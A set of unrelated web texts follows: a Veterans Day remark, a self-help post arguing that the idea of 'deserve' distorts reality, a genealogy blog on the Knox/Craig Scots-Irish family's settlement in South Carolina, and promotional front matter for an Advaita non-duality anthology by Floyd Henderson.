Veterans Day continues to be observed on Nov. 11, regardless of what day of the week it falls. When the observance of Veterans Day was restored to Nov. 11, it not only helped to preserve the historical significance of the date, but it also helped focus attention on the true purpose of Veterans Day – honoring America's veterans for their patriotism, love of country, and willingness to serve and sacrifice for the common good.
Will Johnson may be contacted via e-mail at [email protected].
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"Deserve" Is Just Another Way To Try And Explain Away Reality - Grasshopper
One of my claims is the notion of "Deserve" doesn't exist in reality. We made it up and it lets us down.
Examine the word in context: "I don't deserve that kind of treatment." "You deserved that promotion, not her." Have you noticed the reality in the statements? The reality is you got the kind of treatment you got and you didn't get the promotion. "Deserve" attempts to spin reality in order to remove its sting.
It never works.
No matter how much you deserved better treatment or that promotion, you didn't get either, and wallowing in "deserve" makes you a frequent guest at a never-ending pity party.
Best to notice the reality of the situation so you can respond to it rather than to the illusion of deserve.
Asking the following types of questions will have you look forward rather than get sidetracked down the dirt path of deserve: "I got that treatment, so how do I prevent myself from getting it again?" "I didn't get the promotion, so what is my course of action now?"
Think about the absurdity of this statement: "That baby deer didn't deserve to have that tree limb fall on it." The reality is that reality doesn't favor anyone, including Bambi. Attempting to explain it away doesn't cause it to go away, it only keeps us crippled in the forest.
This is an invitation to examine the concept of deserve in your life and to notice how it holds you back. Once you have that realization, you'll be less apt to explain and complain and you'll witness deserve on the wane. It's a tried and true method for getting you out of the woods.


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After Toil Comes Rest-Genealogy Musgrove, Holder, Buckmaster, McIntire
Stories of My Family
Tag: Scots-Irish
OUR KNOX/CRAIG FAMILY
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Our Knox/Craig ancestors emigrated from Scotland, to Ireland and then to America arriving in Charles Town, S.C. in 1767. South Carolina paid bounty to Scots-Irish willing to settle in the frontier acting as a buffer between the coastal plantations and the Indians, a perfect role for the Scots-Irish warriors. Edith McIntire Holder, my maternal grandmother, was a descendant of these ancestors.
James Knox Sr. was born on July 26, 1713, in Glasgow, Lanarkshire, Scotland. His parents were John Knox and Agnes Johnstone. (Not John Knox, the Reformer, whose two sons did not have descendants.) On December 26, 1719, Lady Elizabeth Craig was born on the other coast of Scotland in Edinburgh. Her parents were John Craig and Elizabeth Moir/More. She was an only child. It is thought her father's estate reverted to the Crown because he died without a male heir. Even after she married, it has been said, she used the honorific Lady with her married name. This is unusual, but I found one of her great aunt's who was able to prove her claim to land and a title, because she never gave up her title. Perhaps, Elizabeth hoped the same could happen to her.
The Knox and Craig families had at least one connection over the years, with a Craig mentioned in conjunction with John Knox, the Reformer. Our James Knox and Elizabeth Craig married in Lanarkshire, Scotland. They were of the Covenanters Church, the Reformed Presbyterian Church, and raised their children in strict obedience to God's laws.
Children born in Scotland:
1740-1830, Mary. Married Pollock/Polk by Reverend William Martin. Mary Polk remained in Ireland. Some genealogists have said Mary's children immigrated to the colonies and were the ancestors of President James Polk. I have found no evidence of either, with President Polk's ancestors already in the colonies by this time.
1742-1839, Janet. Married John (JR) Gaston in fall of 1768 by his father Justice John Gaston.
1744-1818, John. Married Elizabeth Eoff on Feb 12, 1789. The groom was forty-five and Elizabeth was eighteen, the first marriage for both. It was said John didn't marry until later in life since he was too busy taking care of the farm. He died in 1818 at seventy-four years of age, leaving three minor children.
1749-1781, James. Married Jannet Miller in 1770. James was murdered by Tory neighbors during the Revolutionary War.
1751-1830, William. Married Patience Gill about 1779. Died Oct 31, 1830 at age 78.
In 1752, the family traveled by ship from Scotland across the Irish Sea to Belfast, then settled in the Ballymoney area of North Antrim, Ireland with other Covenanters, where they farmed rented land.
Children born in Ireland:
1753-1843, Samuel. Married Caroline Jones in 1780. They were married by her uncle John Simpson, a Presbyterian minister with Margaret Knox Eoff as a waiter (witness.) Caroline's mother was a Simpson.
1755-1832, Elizabeth. Married Samuel Morrow in 1776, Chester Co, SC. Final move was to Laurence County Alabama, then onto Fayette Co, Alabama. She died by Sept 3, 1832. Samuel was born in 1743 and died March 8, 1835. He had emigrated from Ireland to the colonies at the age of fourteen.
1758, April 11-1861, Robert. Married Elizabeth Gill in 1784. In 1817, Robert married (1) Elizabeth Gill, ca 1763-ca 1809. Then he married (2) Mildred (Milly) Bohannon ca 1792-1861.
1763-1848, Margaret. Married Isaac Eoff on March 12, 1783, in her father's home in Chester Co, SC. Rev. John Simpson performed the ceremony, with Margaret's childhood friend, Catherine Jones Knox, now her brother, Samuel's, wife and six months pregnant with her first child present at the ceremony. Isaac died Sept 26, 1848 in Carroll County, AR. (Now Boone County.) See Eoff, Elliott, and Todd stories for more on this family line.
1760-1850, Joseph. Never married. Was blind.
1765-1842, Nancy Agnes (Ann). Married Jacob Sutton (blacksmith) on Jan 1, 1784. He was born in 1758 and died in 1836. The wedding was most likely performed in the home of her parents with her father Justice James Knox, Sr. officiating. Final move was to Laurence County Alabama. Named Agnes after paternal grandmother.
1767, Susan was born on board ship to America, where she died and was burned at sea.
On July 25, 1761, South Carolina passed an act which paid the passage and, upon arrival, provided each head of household over 16 years of age a grant of 100 acres and 50 acres to his wife and each child. In March 1767, the family sailed (on the Earl of Hillsborough, disputed, more likely on the Prince of Wales) from Belfast for Charles Town, South Carolina. As they departed on the ship, Elizabeth was 48 years old and pregnant with her last child, with twelve other children ranging from 2-25 years of age.
On May 28, 1767, South Carolina Warrants and Petitions indicate Knox family received 450 acres in a land grant from the General Assembly of South Carolina in Chester County, S.C., 100 miles into the Carolina upcountry. A wagon, head of oxen, plough, seeds and provisions were purchased in Charleston from grant monies. The family moved up the Santee/Catawba Rivers and settled on land close to Fishing Creek in Chester County. The family lived out of wagon until cabin was finished. After the cabin was built, they could enjoy a Saturday night bath in front of the fireplace. They attended the Old Richardson Meeting House on Fishing Creek for Sunday services, also called the Catholic Church, comprised of Covenanters, Associates and Presbyterians, on Rocky Creek. By 1772, the Covenanters had their own church, called Reformed Church, with Reverend William Martin as the minister. He was their minister in Ireland and came over from Ireland bringing the rest of the congregation. Most of the family is mentioned in the Fishing Creek Presbyterian Church visitation list in 1771 – 1774.
Land had to be cleared and planted for fall harvest. The oldest son, John, took the lead in developing the family farm on Rocky Creek.
Shortly after the Knox/Craig family's arrival in the colonies, tensions between the colonies and England began to develop, but didn't really affect people on the frontier, who were busy clearing their fields, protecting their families from Indians and raising crops and kids.
Passage of the Declaration of Independence on July 4, 1776, did not pass unnoticed on the frontier, but most people carried on with their busy lives. However, ultimately the Revolutionary War affected all their lives. Subscribe to my blog to see other posts as they are posted.
Source: "James Knox Sr. and Elizabeth Craig Knox and their Descendants," compiled by Lorene K. Petersen and Jennie Bell Lyle, 1984.
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Since before Roman times in 200 A.D., the border between England and Scotland was in almost constant warfare. The people, whether English (like the Musgrave's) or Scottish (like the Knox's, McIntire's), were living in a war zone. The men were warrior-like and often away at battle. With the men away, the women raised the many children and took care of the household and farm, as soldiers trampled crops and rustlers stole livestock. The extended family or clan was the only unit worth any loyalty.
Each family had a few acres where they raised their own food and grazed livestock. Families moved often. Their home was a simple building, built in a day, with few household possessions. As rents increased in the borderlands, Scots-Irish were encouraged to migrate to northern Ireland. Soon rents increased in Ireland and their farming/ grazing lifestyle was no longer economically feasible in Ireland.
When the first Scots-Irish first arrived in Pennsylvania about 1717, their behavior, provocative dress, and speech were very different from the Quakers, so they were rejected, ridiculed, and called "Scots-Irish". In spite of their poverty, they were a proud people, which further irritated the Quakers. The Scots-Irish settled on the frontier of Pennsylvania and; when the roads south opened, they went down into the Shenandoah Valley to the Carolinas. Later migrations to America in 1760-1775 were directly to the Carolinas. The Scot-Irish families continued the old patterns of life first on the frontier, then to Tennessee, and further west to Arkansas, Texas, and Oklahoma. Since the Scots-Irish way of life was successful on the frontier, other frontier immigrants took on those characteristics, still seen today.
Weddings were wild affairs, full of ritual, and expensive. Sometimes brides were abducted, usually (but not always) willingly. First cousins often married to "keep it in the clan". There was a shortage of clergy and sometimes couples got tired of waiting. Premarital pregnancies were common and not scandalous. Most of the original Scots-Irish were Presbyterian, but became Baptists and Methodists as their population and migration outgrew the Presbyterian seminaries capacity to provide ministers.
Families were male dominant; women and children were to obey. Children, especially boys, were taught to exercise their wills. The Scots-Irish doted on their male children, reared to have pride, independence, and courage. Girls were taught the virtues of patience, industry, sacrifice, and devotion to others. Men shared in the care of their children from infancy. Corporal punishment was often used.
Formal education wasn't important to the Scots-Irish, the most illiterate group. The main occupation was farming combined with herd grazing. There was no class system with everyone seen as equal. As in Scotland, this group moved often, creating scattered, isolated settlements, along creeks and streams.
"Albion's Seed, Four British Folkways in America," David Hackett Fischer, 1989.
"Born Fighting – How the Scots-Irish Shaped America," James Webb, 2004.
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This anthology contains four books that many seekers have used along their path as they moved to Full Realization.
4. An opportunity to reach the Ultimate and Final Understanding.
To master all four of those levels of understanding is to enable the seeker to grasp the Sri Nisargadatta Maharaj pointer that wisdom is knowing that I am nothing.
For most seekers, the journey ends when they reach the third of seven steps as they move along the first-stage path, specifically, the point at which they adopt a new persona (The Religious One or The Spiritual Giant) and then never move any further.
There, Maharaj said, they engage in what he called kindergarten-level spirituality and they mistake the dawn for the noonday sun.
Only a few will truly understand the distinction between the consciousness and the awareness, and fewer still will be willing to abandon the notion that now they are Really Something and to consider the ultimate freedom of The Nothingness.
Most of the so-called Spiritual Masters addressed at one time or another all of the steps that must be taken to shift from identifying with the false I to abiding as the Absolute, yet they did not present or explain the steps in the exact order in which they must be taken if Realization is to happen.
While all of the steps (or stages to use the Sri Nisargadatta Maharaj term) have been discussed for centuries, this is the first time that the steps have been offered and explained in simple language in the exact order in which the seven steps must be taken in order to move from the lie of the I to Full Realization.
Most of the content of this book contains the complete set of transcripts from audio tapings of a series of satsang sessions that guided the participants from step one to Realization. Some have said that by reading the questions from seekers and the immediate responses by floyd (all offered in their original, easy, conversational format), they have felt as if they were present in the room, actively engaged in the satsang along with fellow seekers.
For those who have studied any of the various types of yoga and who have studied either Traditional Advaita Vedanta, Neo-Advaita, Neo-Vedanta, or Pseudo Advaita: the author of this book is a disciple of Sri Nisargadatta Maharaj so he uses the Direct Path Method of teaching along with the Nisarga (Natural) Yoga.
Regards on your journey to Full Realization.
One of the final frontiers of the Advaita Teachings is transitioned when the Nature of Reality is understood and when the Advaita Teachings are applied on a daily basis even in the absence of any Applier.
The Final Understanding happens post-Self-Realization, but the nature of Reality cannot be understood until the nature of Consciousness / Awareness is understood. Understanding the Nature of Consciousness allows for abidance in the I AM, but what of THAT Which Is beyond, and that which is beyond the beyond?
Only abidance as the Absolute (and later, the Nothingness) allows for the remainder of the manifestation of Consciousness to happen in Perfect Peace.
An understanding of the pointers offered in this book can allow the advanced seeker to shift even beyond SELF-Realization, even beyond an understanding of Consciousness and Awareness, and to an understanding of that which preceded the Absolute.
The content of this book can, in fact, allow the advanced seeker to truly comprehend the Reality of no concept, of no duality, of no something, and even of no nothing.
The Advaita Teachings offer an invitation to be free of all concepts, all beliefs, and all ideas in order to be totally free. Yet how many reach that state, and how many who reach that state are able to fixate in that understanding and truly be free and thereby at peace?
This book will offer details of the way that can happen.
Regarding one character in a Michael Connelly novel: He was long past believing in God - the horrors he had seen documented had, little by little, sapped his stores of faith. In those seemingly final days, as his own heart withered and tapped out its final cadences, he did not grasp desperately for his lost faith as a shield or a means of easing the fear of the unknown. Instead, he was accepting of the end, of his own nothingness. He was ready. It was easy to do.
(c) for the few that have some sense that the freedom and peace which come with abandonment of the notion that they are Really Something will allow for the full shift into the no-concept, no-identity, non-dual Reality.
H. A distinction between supernatural, unnatural, and nisarga (natural) living; and much more.
The literary tradition is to preface a book with a biographical snapshot of the author as a person. What can be said then, about the Advaitin Teacher, who has moved beyond personal biography?
To describe the person or the personal (the date of birth, the nationality, the job, the interests, the home, the child, the books read, the path followed) is to describe the attributes that actually take us further away from uncovering the identity of the teacher.
The reality is that this Who Is ... question itself brings us to deeper and more authentic questions. What is this understanding in which the teacher resides? The state of Realization is not different from teacher to teacher. That Self-Knowledge is unchanging. In this way, there is no difference between a Nisargadatta Maharaj, a Floyd Henderson, or any other Realized teacher.
The Realisation of SELF means the shattering of the shell of separation so that the non-dual nature of Reality is directly known. How can this be different from person to person? Only in the ABSENCE of the person is this nature revealed. In this way, Floyd Henderson invites us to strip away all that is personal, all that is dualistic, all that separates us from this understanding of Oneness from our True Selves.
The summative statement I AM THAT; I AM describes that understanding of SELF in absolute terms as well as its expression in the relative. Floyd Henderson is THAT just like all human beings; however, Floyd is fixed unshakably in this understanding, so all functioning, relatively speaking, flows directly from this SELF-Knowledge.
In this way, the biographical details (such as, born in Louisiana; moved to Texas; worked as a teacher and business owner over several decades before taking early retirement to write; father of a daughter named Ashley; current resident in the community of Walden on Lake Conroe in Texas; years of seeking followed by twenty-five months in the forest dweller stage and experiencing a vision that resulted in the dramatic peripetia or flash of Realization; functioning as a Direct Path, Nisargan teacher; and author of over forty Advaita books) are the attributes or flavourings which coloured the pure consciousness in the particular shape and form at the relative level.
... How could persons possibly bother Me? They do not have even the slightest clue about where I truly live. Only a few on the entire planet called earth have a clue. Some might enter what is called the home of floyd, but that is not where I live; in fact, where I live has nothing to do with a where at all.
In this regard, there is actually only the How I abide is as the awareness, as the Original Nature, as the natural state which has no boundaries, which has no defining traits, and which does not change. How I abide is without conditions or conditioning, without qualifications, and without limitations.
I can seem to be here one second and there the next, but that is about how-ness, not any actual here-ness or there-ness. I am not confined to a space or form; furthermore, I can enter other spaces and forms, and do so regularly (as might happen the instant You read these words).
Abiding beyond consciousness and beyond beingness and beyond non-beingness, I can span the globe ... I can span the universe ... I have spanned all universes. Yet such while manifested spannings seldom happen anymore, requiring far more energy than is worth the effort, and it most assuredly need not happen with You.
Awareness shall be, but aware of-ness shall not. Later, other universes might be spanned as well, or might not. Yet all of that is stated, so it, too, cannot be the Truth which You know but do not yet know that You know. Tap into the source and know Truth, but even then, do not suppose that You will be able to express Truth in words.
Thus, Floyd describes the AM-ness regarding floyd as a composite unity of an elemental plant food body that is circulating air and that is temporarily housing the manifested consciousness.
The THAT-ness he sees as a field of energy from which the conscious-energy manifests and to which it will return.
As for identification with any WHO-ness, he discarded that when identification with the Nothingness came, followed eventually by not even identifying with Nothing - or anything else.
The Advanced Seekers Series is an anthology of four books that share Advaita-based, non-duality pointers that can guide seekers to abide as their Original Nature.
Literally, Advaita means not two. If one studies the front cover of this anthology, light can be seen in two areas of the picture. One is the actual source of light; the other is merely reflected light. One is real; the other merely appears to be real.
In actuality, there are not two light sources. There is only one, but the world encourages persons to see two, to see dualities, to see multiplicities. The result is that few will ever understand the Truth of the Oneness that is beyond such misperceptions.
Most might glimpse the Real and also see the not real, but they will take both to be authentic. The Realized see that one light is real, that the other is merely a reflection, and that any belief in duality is erroneous.
Walkways cross the green terrace that leads down to the lake, and all along those paths, round lights mounted on posts illuminate the way. As the storm clouds brought darkness, the bulbs lit up automatically.
As rain puddled in the walkways, the lights began to cast diagonal reflections of themselves. The Realized understand that the reflections are not the real light and they see the actual light source in the background. Yet they also understand that there is something even beyond that which is housing the light, namely, a form of energy.
The author invites all to see that which is beyond the reflections in consciousness and to know What Is Real vs. what only appears to be so, for it is misperceiving and delusions that set the stage for ignorance (rather than wisdom) to drive the thoughts and words and deeds of the non-Realized masses.
Before I found the Advaita teachings, both my seeking and my life were totally disorganized. I had read over two hundred books during my search which began around the age of eleven or twelve. All of the content of those books was very confusing. Why?
While some presented teachings that seemed in the beginning to be of value, in the end they proved useless because none of the pointers were organized in a way to offer in a step-by-step manner the route that had to be followed to move away from identification with the false I and return to My Original Nature.
It became clear that - in my case - I required a teacher that could offer such an explanation and that could be available to answer my many questions along the way.
Though my reading left me a supposed expert is subjects dealing with the brain and the mind and psychology and psychiatry, there was no understanding at all of the functioning of the totality.
So my searching continued for many more years, moving from one book to the next and from one religion to the next and from one spiritual movement to the next and from one philosophy to the next. I studied Taoism, Christianity, Hinduism, Buddhism - you name it - I studied it.
It is suspected that many may have traveled as arduous a road as the one I traveled, but few likely traveled a more arduous route than the one I traveled during my years of seeking.
The searching in one venue after another continued until an acquaintance shared certain profound pointers that seemed to resonance deeply within me.
I asked what he was talking about ... asked if the pointers he was sharing were associated with any particular philosophy or religion that I could further investigate. He answered, What I am sharing is what is called a non-dual perspective.
Basically, the simplest teaching is that everything is one.
That made little sense, but it did seem to reverberate at some spot deep inside me. Eventually, intuition was re-awakened and there was some sort of psychic consciousness that began to vibrate when non-duality pointers were being considered.
After being given some labels for further investigation - specifically, non-duality and Advaita - it soon became clear that I needed to find a capable Advaita teacher.
The irony was that, as I began searching for a teacher, all of the online sites promoting and ranking various teachers were actually reinforcing duality ... ranking this one as best and that one as good and that other one as not so adept. Instead of focusing on how we could eliminate our beliefs in hierarchies and separation and judgment, they were promoting all of those.
So I left the listings and began googling Advaita and found a blog site where Floyd Henderson was offering daily postings of non-dual pointers.
I began investigating this guy, wondering who he thought he was to be posting pointers about Advaita. He was not even from the Far East. Worse, my investigations uncovered the fact that this guy lived in Texas.
Being yet embroiled in ego, I asked, Who does this guy living outside of Houston, Texas think he is ... acting like he knows it all about these teachings? I concluded, Heck, I live in Texas. I guarantee I already know as much about non-duality as any other person living in Texas. Who from Texas could offer anything about this eastern philosophy?
A year would pass, and more and more searching continued, but at least once a week, the name Floyd Henderson came into the forefront of consciousness.
As much as I tried to ignore the name, it would not leave me, so after a year of continued seeking even after having first found his name and websites, I finally went back to his Advaita blog site, looked at the cost of a retreat with him, and concluded, differently this time, Well, actually it really is only a nominal fee he is charging, and he does have to pay his bills.
So it came to me, What if this guy just might have what you have been looking for all of your life? I determined that I might as well spend a few dollars - a small amount really in comparison to the fortune I had already spent during decades of seeking and searching ... all with no permanent results at all.
Right now, it is giving me cold chills just reflecting on that decision and what happened afterwards. I had reached a point where I felt as if I were going to pop right out of my skin from all of the suffering and misery and anxiety and stress that had characterized my existence.
For me, it had to get so bad that I became willing and ready - ready to give up all of the ideas and beliefs that had served me not at all and to seek the Truth that was obviously beyond all of the concepts I had ever taken to be the truth.
Eventually, I went to a retreat at the home of Floydand left three days later having found that I was not only willing to give up all of those concepts but had become willing to give up this fear-based andy that had been at the root of my problems.
Now, I look back and laugh. Before the time spent in Floyds home, I hated to wake up in the morning. Now, I cannot wait to get up and enjoy every day.
I was raised to believe that Jesus had the answers that people need. At Floyds retreat, I found out that in many cases, he did, but the answers were not the ones I was taught in church.
I found that the later Jesus who returned to Jerusalem was sharing the non-dual, Advaita teachings - teachings I had heard on occasion when I was younger but that no one in the church could or would explain to me when I asked about those statements.
I went to Floyds that first time with a considerable fear of death (rooted, I would learn, in body and mind and personality identification). He suggested that if I was so afraid of death that the best thing I could do would be to go ahead and die now.
Of course that was an anger-invoking, shocking comment to hear, but before I left, I understood that I could not die because I was not born - that what he was saying is that my ego(s) and my egotism must die.
I understood after that retreat that I cannot truly live until this ego - this illusion - dies.
I came to understood that everything merely cycles and that timelines are a fraud, and Floyd also taught me the meaning of every part of his vision, and I learned by way of the eagle the difference in Subject-Object Witnessing and Pure Witnessing.
Why am I making this anthology available for all seekers to use now and to be available long after floyd and andy have taken mahasamadhi are gone? First, because the books in this anthology offer the step-by-step process by which Realization can happen and, secondly, because the books helped me in that undertaking.
I want to preserve Floyds vision and his writings for all who are seeking. I decided to support the printing of this anthology to make his teachings and methods available - to all that might be interested - because of what happened with me after sitting with Floyd and receiving the message that came by way of his step-by-step method which I realized was exactly what I had been seeking all of my life.
I am taking the action to help make these books available to interested seekers because I now know beyond a shadow of a doubt that if the understanding offered in these books - and Floyds other books - could come to me, then the understanding can come to almost anyone.
May you allow the pure consciousness to see and receive the content of the works in this anthology and then also receive as a result the blissful freedom that came to me via the content of these and the other writings by Floyd Henderson.